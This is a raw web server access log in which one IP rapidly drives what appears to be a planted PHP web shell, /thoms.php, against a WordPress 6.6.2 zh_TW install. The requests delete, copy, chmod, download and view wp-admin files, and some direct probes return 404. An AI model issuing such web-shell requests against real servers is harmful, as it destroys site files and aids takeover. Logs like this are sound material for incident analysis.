45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?del=network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?del=options-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/export-personal-data.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=press-this.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/link-parse-opml.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?del=options-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fprofile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fprofile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=network.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?del=setup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Finstall.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Finstall.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22281 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fprofile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=setup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Finstall.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/network.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/revision.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=customize.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?chmod=customize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?dl=press-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?chmod=customize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=press-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/options-reading.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-edit.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?del=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?dl=contribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcontribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcontribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/credits.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22271 "https://163.245.207.76:443/thoms.php?dl=contribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22257 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcontribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?del=link.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=link.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=link.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?del=upgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?chmod=admin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22260 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?del=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?del=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?dl=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?del=my-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=my-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22232 "https://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?chmod=includes&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=includes&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=includes&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?dl=ms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?del=options-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=profile.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22280 "https://163.245.207.76:443/thoms.php?del=options-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?chmod=maint&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=maint&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link-add.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22241 "https://163.245.207.76:443/thoms.php?chmod=maint&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/media.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/customize.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
